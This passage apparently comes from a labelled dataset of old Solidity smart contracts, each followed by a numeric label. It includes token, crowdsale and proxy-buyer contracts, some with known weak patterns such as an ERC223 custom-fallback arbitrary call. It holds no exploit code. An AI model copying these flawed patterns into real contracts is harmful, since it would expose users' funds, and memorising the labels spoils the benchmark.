return democList.length;
}
function setPayTo(address newPayTo) onlyBy(owner) public {
payTo = newPayTo;
}
function setEth(uint128[2] newFees) onlyBy(owner) public {
democFee = newFees[PAY_DEMOC];
ballotFee = newFees[PAY_BALLOT];
SetFees([democFee, ballotFee]);
}
function setOwner(address _owner) onlyBy(owner) public {
owner = _owner;
}
function setPaymentEnabled(bool _enabled) onlyBy(owner) public {
paymentEnabled = _enabled;
PaymentEnabled(_enabled);
}
function setWhitelistDemoc(address addr, bool _free) onlyBy(owner) public {
democWhitelist[addr] = _free;
}
function setWhitelistBallot(address addr, bool _free) onlyBy(owner) public {
ballotWhitelist[addr] = _free;
}
function setFeeFor(address addr, uint128[2] fees) onlyBy(owner) public {
democFeeFor[addr] = fees[PAY_DEMOC];
ballotFeeFor[addr] = fees[PAY_BALLOT];
}
function initDemoc(string democName) payReq(PAY_DEMOC) public payable returns (bytes32) {
bytes32 democHash = keccak256(democName, msg.sender, democList.length, this);
democList.push(democHash);
democs[democHash].name = democName;
democs[democHash].admin = msg.sender;
DemocInit(democName, democHash, msg.sender);
return democHash;
}
function getDemocInfo(bytes32 democHash) public constant returns (string name, address admin, uint256 nBallots) {
return (democs[democHash].name, democs[democHash].admin, democs[democHash].ballots.length);
}
function setAdmin(bytes32 democHash, address newAdmin) onlyBy(democs[democHash].admin) public {
democs[democHash].admin = newAdmin;
}
function nBallots(bytes32 democHash) public constant returns (uint256) {
return democs[democHash].ballots.length;
}
function getNthBallot(bytes32 democHash, uint256 n) public constant returns (bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTime) {
return (democs[democHash].ballots[n].specHash, democs[democHash].ballots[n].extraData, democs[democHash].ballots[n].votingContract, democs[democHash].ballots[n].startTs);
}
function _commitBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTs) internal {
democs[democHash].ballots.push(Ballot(specHash, extraData, votingContract, startTs));
BallotAdded(democHash, specHash, extraData, votingContract);
}
function addBallot(bytes32 democHash, bytes32 extraData, address votingContract)
onlyBy(democs[democHash].admin)
payReq(PAY_BALLOT)
public
payable
{
SVLightBallotBox bb = SVLightBallotBox(votingContract);
bytes32 specHash = bb.specHash();
uint64 startTs = bb.startTime();
_commitBallot(democHash, specHash, extraData, votingContract, startTs);
}
function deployBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData,
uint64[2] openPeriod, bool[2] flags)
onlyBy(democs[democHash].admin)
payReq(PAY_BALLOT)
public payable {
uint64 startTs = max(openPeriod[0], uint64(block.timestamp));
SVLightBallotBox votingContract = new SVLightBallotBox(specHash, [startTs, openPeriod[1]], flags);
votingContract.setOwner(msg.sender);
_commitBallot(democHash, specHash, extraData, address(votingContract), startTs);
BallotInit(specHash, [startTs, openPeriod[1]], flags);
}
function max(uint64 a, uint64 b) pure internal returns(uint64) {
if (a > b) {
return a;
}
return b;
}
} | 0 | 1,301 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MWSToken is StandardToken, Pausable {
string public constant name = 'Medical Workshop';
string public constant symbol = 'MWS';
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1200000000 * 10**uint256(decimals);
function MWSToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
} | 1 | 4,020 |
pragma solidity ^0.4.11;
contract CardboardUnicorns {
address public owner;
function mint(address who, uint value);
function changeOwner(address _newOwner);
function withdraw();
function withdrawForeignTokens(address _tokenContract);
}
contract RealUnicornCongress {
uint public priceOfAUnicornInFinney;
}
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract CardboardUnicornAssembler {
address public cardboardUnicornTokenAddress;
address public realUnicornAddress = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
address public owner = msg.sender;
uint public pricePerUnicorn = 1 finney;
uint public lastPriceSetDate = 0;
event PriceUpdate(uint newPrice, address updater);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function changeTokenOwner(address _newOwner) onlyOwner {
CardboardUnicorns cu = CardboardUnicorns(cardboardUnicornTokenAddress);
cu.changeOwner(_newOwner);
}
function changeCardboardUnicornTokenAddress(address _newTokenAddress) onlyOwner {
CardboardUnicorns cu = CardboardUnicorns(_newTokenAddress);
require(cu.owner() == address(this));
cardboardUnicornTokenAddress = _newTokenAddress;
}
function changeRealUnicornAddress(address _newUnicornAddress) onlyOwner {
realUnicornAddress = _newUnicornAddress;
}
function withdraw(bool _includeToken) onlyOwner {
if (_includeToken) {
CardboardUnicorns cu = CardboardUnicorns(cardboardUnicornTokenAddress);
cu.withdraw();
}
owner.transfer(this.balance);
}
function withdrawForeignTokens(address _tokenContract, bool _includeToken) onlyOwner {
ForeignToken token = ForeignToken(_tokenContract);
if (_includeToken) {
CardboardUnicorns cu = CardboardUnicorns(cardboardUnicornTokenAddress);
cu.withdrawForeignTokens(_tokenContract);
}
uint256 amount = token.balanceOf(address(this));
token.transfer(owner, amount);
}
function updatePriceFromRealUnicornPrice() {
require(block.timestamp > lastPriceSetDate + 7 days);
RealUnicornCongress congress = RealUnicornCongress(realUnicornAddress);
pricePerUnicorn = (congress.priceOfAUnicornInFinney() * 1 finney) / 1000;
PriceUpdate(pricePerUnicorn, msg.sender);
}
function setPrice(uint _newPrice) onlyOwner {
pricePerUnicorn = _newPrice;
lastPriceSetDate = block.timestamp;
PriceUpdate(pricePerUnicorn, msg.sender);
}
function assembleUnicorn() payable {
if (msg.value >= pricePerUnicorn) {
CardboardUnicorns cu = CardboardUnicorns(cardboardUnicornTokenAddress);
cu.mint(msg.sender, msg.value / pricePerUnicorn);
owner.transfer(msg.value);
}
}
function() payable {
assembleUnicorn();
}
} | 0 | 1,304 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest() public stopInEmergency payable {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 236 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract Arascacoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Arascacoin";
string public symbol = "ASC";
uint8 public decimals = 8;
uint256 public totalSupply = 10512e4 * 1e8;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Arascacoin() public {
owner = 0xD4e4d1D80D2F828E6df406ed9c67C876FefC2554;
balanceOf[owner] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
